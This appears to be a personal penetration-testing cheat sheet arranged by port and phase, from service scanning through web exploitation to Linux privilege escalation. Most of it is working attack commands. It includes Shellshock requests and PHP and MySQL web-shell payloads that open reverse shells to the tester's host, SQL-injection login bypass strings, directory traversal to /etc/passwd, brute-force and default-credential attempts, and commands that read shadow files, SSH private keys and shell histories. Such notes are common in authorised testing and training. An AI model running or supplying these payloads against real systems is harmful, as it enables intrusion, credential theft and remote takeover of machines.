Penetration testing flow
Work in progress and nothing is 100%!

- Scan of host
  - Port 21 (FTP)
    - Zenmap intense scan should use this already but:
    - nmap –script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 10.0.0.1
  - Port 22 (SSH)
    - hydra -L names.txt -P pass.txt IPADDR Service
      - Example: hydra -L names.txt -P pass.txt 192.168.0.20 ssh
  - Port 23 (Telnet)
    - telnet IPADDR
  - Port 25 (SMTP)
    - nc -nvv INSERTIPADDRESS 25
    - telnet INSERTIPADDRESS 25
    - nmap –script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.0.0.1
      - Zenmap intense scan does this
  - Port 80 & 443 (HTTP/S)
    - Check for /robots.txt
    - Check source code
      - Check for tags that include URLs
    - Scan with Nikto
      - If using proxy: Nikto --useproxy [proxyIPADDR]:port -h IPADDR
      - CGI-BIN discovered
        - Shellshock
          - Test if vulnerable: wget -U “() { test;};echo \”Content-type: text/plain\”; echo; /bin/bash -c ‘echo vulnerable'” http://TARGETIPADDR/cgi-bin/status -e use_proxy=yes -e http_proxy=proxyIPADDR+
          - $ wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"HOSTIPADDR\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' 2>&1" -e use_proxy=yes -e http_proxy=PROXYIPADDR http://WEBSITEIP/cgi-bin/status
          - Shell: wget -U “() { test;};echo \”Content-type: text/plain\”; echo; /bin/bash -i >& /dev/tcp/HOSTIP/PORT 0>&1″ http://TARGETIPADDR/cgi-bin/status -e use_proxy=yes -e http_proxy=PROXYIPADDR
          - curl -x http://192.168.1.9:3128 -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.1.7/1234 0>&1" http://192.168.1.9/cgi-bin/status
    - Dirbuster (GUI)
      - Wordlists: Small.txt, medium.txt, big.txt, rockyou.txt
    - Login Form Discovered
      - Wordpress Login
        - wpscan -u http://192.168.1.X --wordlist [PATH] --username [USERNAME]
      - Default credentials
        - admin:admin
        - administrator:password
        - user:user
        - admin:12345
        - user:letmein
      - SQL Injection
        - Username
          - admin' --
          - admin' #
          - admin'/*
        - Password

- ' or 1=1--
- ' or 1=1#
- ' or 1=1/*
- ') or '1'='1--
- ') or ('1'='1—
- ') or true--
- ') or (')=('
- ') or 1--
- ') or ('x')=('
- " or true--
- " or ""="
- " or 1--
- " or "x"="
- ") or true--
- ") or ("")=("
- ") or 1--
- ") or ("x")=("
-)) or true--
-)) or ((''))=((''
-)) or 1--
-)) or (('x'))=((''

- Directory Traversal
  - http://X.X.X.X/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
    - Check for config files such as config.php, httpd.conf
      - /usr/local/etc/apache22/httpd.conf
- Command Injection
  - File traverse
    - website.com/file.php[?path=/]
    - http://IPADDR/example/index.php?Action=View&Script=/../../etc/passwd
    - Things to check for
      - /etc/passwd
      - /etc/shadow
      - /usr/sbin/apache2 ---Linux
        - Check for specific User Agents, e.g. Allow from env=Mozilla4_browser
      - /usr/local/etc/apache2x/httpd.conf ---FreeBSD
  - Test HTTP options
    - curl -vX OPTIONS http://X.X.X.X/test
      -
  - Upload file using Curl with if PUT option is available
    - curl --upload-file shell.php --url http://X.X.X.X/test/shell.php --http1.0
  - Wget file via command injection
    - ?path=/; wget http://IPADDRESS:8000/FILENAME.EXTENTION;
  - Activate shell file
    - ; php -f filelocation.php;
  - MySQL
    - If page URL has .php?id=1& it may be vulnerable to SQL injection
    - http://breakthesecurity.cysecurity.org/2010/12/hacking-website-using-sql-injection-step-by-step-guide.html
      - Test by throwing in an apostrophe: '
      - See noted guide
- Wordpress
  - Check plugin versions for exploits
  - wpscan
    - wpscan -u URL -e -vp
    - wpscan -u URL --enumerate p //enumerates all plugins
  - Make wp_admin_shell
  - Requires admin login
    - use exploit/unix/webapp/wp_admin_shell_upload
      - If ran into issue with it saying wordpress isn't detected, open up the Ruby

script and comment out the #fail_with line
        - Put .php shell into plugin directory and upload plugin
    - Local File Inclusion
        - ?page=php://filter/convert.base64-encode/resource=config
        - Check source code of page; change "config" at the end to whatever php file you want to view (Also needs to be decoded from b64)
            - Look for bad pieces of code such as "include("lang/".$_COOKIE['lang']);"
                - If uploaded a file and need to execute it, try editing the request in Burp to add the following code after the PHPSESSID cookie:
                    - ;lang=../upload/nameoffile.gif
    - Remote Code Execution
        - ');${system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("X.X.X.X",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')};#
            - url encode if necessary
    - Check all directories for usernames or potential passwords
    - Switch user agent
        - Firefox
            - about:config
                - Make new string called "general.useragent.override"
                    - then add useragent string to field. Example: Mozilla/4.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0
                        - then click on preferences on new string and hit "reset"
                        -
- Port 110 (POP3)
- Port 111 (RPCBind)
- Port 139/445 (SMB/RPC)
    - smbclient -L IPADDR
        - Try to login using root:Anonymous
    - smbclient -N -L \\IPADDR
- Port 161 (SNMP)
- Port 1521 (Oracle)
- Port 3128 (Proxy)
- Port 3306 (MySQL)
- UNKNOWN PORT
    - Try going to it via Firefox, it might be an HTTP port
    - amap IPADDR PORT
- NO PORTS LISTED
    - Port knocking. Look for a sequence of numbers that could also be ports and then do: knock ipaddr port1 port2 port 3 etc.. e.g. knock 192.168.0.1 22 34 55
    - Port knocking is a way of "a secret knock" to the firewall that will allow it to open more ports if the correct sequence is knocked.

- Enumeration & Privilege Escalation
    - Run enumeration script
        - wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
    - Transfer Files
        - By Netcat
            - on Host: nc -lvp PORT < example.c
            - on target: nc -nv HOSTIP PORT > example.c
        - By wget
            - wget IPADDR/example.c
            - start apache2 before hand
                - service apache2 restart
    - Escape limited shell
        - python -c 'import pty;pty.spawn("/bin/bash")'
        - echo os.system('/bin/bash')
        - /bin/sh -i
        - awk 'BEGIN {system("/bin/sh")}'

- find / -name blahblah 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
- python: exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()
- perl -e 'exec "/bin/sh";'
- perl: exec "/bin/sh";
- ruby: exec "/bin/sh"
- lua: os.execute('/bin/sh')
- irb(main:001:0> exec "/bin/sh"

- Check sensitive files
  - cat /etc/passwd
  - cat /etc/group
  - cat /etc/shadow
  - cat /etc/sudoers
  - ls -alh /var/mail/
- Check kernel version
  - uname -a
    - If kernel is less than version 4.8.3, try dirtyc0w
    - 4.7.9 & 4.4.26 are also patched
      - https://www.exploit-db.com/exploits/40616/
  - searchsploit
- Check distro
  - cat /etc/issue
  - cat /etc/*release
    - Dirtyc0w - Works below these versions
    - https://www.exploit-db.com/exploits/40616/
      - 3.2.0-113.155 Ubuntu 12.04 LTS
      - 3.13.0-100.147 Ubuntu 14.04 LTS (Linux Mint 17.1)
      - 3.16.36-1+deb8u2 Debian 8
      - 4.4.0-45.66 Ubuntu 16.04 LTS
      - 4.7.8-1 Debian unstable
      - 4.8.0-26.28 Ubuntu 16.10
- Check for sudo privileges on non-root account
  - Give root permissions
    - sudo usermod -s /bin/bash ACCTNAME
    - sudo su -
- Add sudo privileges
  - USERNAME ALL=NOPASSWD; !/usr/bin/su, /bin/bash
- Check for passwords in config files
  - var/www/examplename/config.php
- Which services are running by root
  - ps aux | grep root
  - ps -ef | grep root
- Check for SUID binaries
  - find / -perm +4000
- Set SUID on file
  - chmod u+s file1.txt
  - chmod 4750 file1.txt
- Which files are world writeable
  - find . -type f -writable
- Service configurations
  - cat /etc/syslog.conf
  - cat /etc/chttp.conf
  - cat /etc/lighttpd.conf
  - cat /etc/cups/cupsd.conf
  - cat /etc/inetd.conf
  - cat /etc/apache2/apache2.conf
  - cat /etc/my.conf
  - cat /etc/httpd/conf/httpd.conf
  - cat /opt/lampp/etc/httpd.conf
- Scheduled cronjobs

- crontab -l
- ls -alh /var/spool/cron
- ls -al /etc/ | grep cron
- ls -al /etc/cron*
- cat /etc/cron*
- cat /etc/at.allow
- cat /etc/at.deny
- cat /etc/cron.allow
- cat /etc/cron.deny
- cat /etc/crontab
- cat /etc/anacrontab
- cat /var/spool/cron/crontabs/root
- Check chkrootkit version
  - chkrootkit -V

- Search for plain text usernames or passwords
  - grep -i user [filename]
  - grep -i pass [filename]
  - grep -C 5 "password" [filename]
- Check for secondary interfaces & networks
  - cat /etc/network/interfaces
  - cat /etc/networks
  - iptables -L
- Check which languages are installed
  - find / -name perl*
  - find / -name python*
  - find / -name gcc*
  - find / -name cc
- How can files be uploaded
  - find / -name wget
  - find / -name nc*
  - find / -name netcat*
  - find / -name tftp*
  - find / -name ftp
- SSH keys
  - cat ~/.ssh/authorized_keys
  - cat ~/.ssh/identity.pub
  - cat ~/.ssh/identity
  - cat ~/.ssh/id_rsa.pub
  - cat ~/.ssh/id_rsa
  - cat ~/.ssh/id_dsa.pub
  - cat ~/.ssh/id_dsa
  - cat /etc/ssh/ssh_config
  - cat /etc/ssh/sshd_config
  - cat /etc/ssh/ssh_host_dsa_key.pub
  - cat /etc/ssh/ssh_host_dsa_key
  - cat /etc/ssh/ssh_host_rsa_key.pub
  - cat /etc/ssh/ssh_host_rsa_key
  - cat /etc/ssh/ssh_host_key.pub
  - cat /etc/ssh/ssh_host_key
- View bash history
  - cat ~/.bash_history
  - cat ~/.nano_history
  - cat ~/.atftp_history
  - cat ~/.mysql_history
  - cat ~/.php_history
  - find -name ".bash_history" -exec cat {} \;
- Default password locations
  - cat /var/apache2/config.inc
  - cat /var/lib/mysql/mysql/user.MYD

        - cat /root/anaconda-ks.cfg
    - MySQL
        - Check if running as root
            - ls -la /usr/lib/
        - Login with credentials
            - mysql -h localhost -P PORT -u USERNAME -p DATABASE
        - Check DBs
            - show databases
                -
        - Run a user-defined function to get root
            - select sys_exec('usermod -a -G admin USERNAME');
        - Upload .php shell
            - mysql> Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/pathofindex";
                - add python shell to end of it in URL
                    - ?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22IPADDRHERE%22,PORTNUMBERHERE));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
    - Enumerate localhost
        - nmap localhost
            - Check if nmap is vulnerable
                - nmap --interactive
                    - !sh
    - Cracking Passwords
        - hashcat -m 400 -a 0 hashes.txt wordlist.txt
    - Check for Password reuse
        - enumerate users via cat /etc/passwd
- Misc
    - Don't take all file extensions for granted, i.e. a file name picture.jpeg could actually be a .php file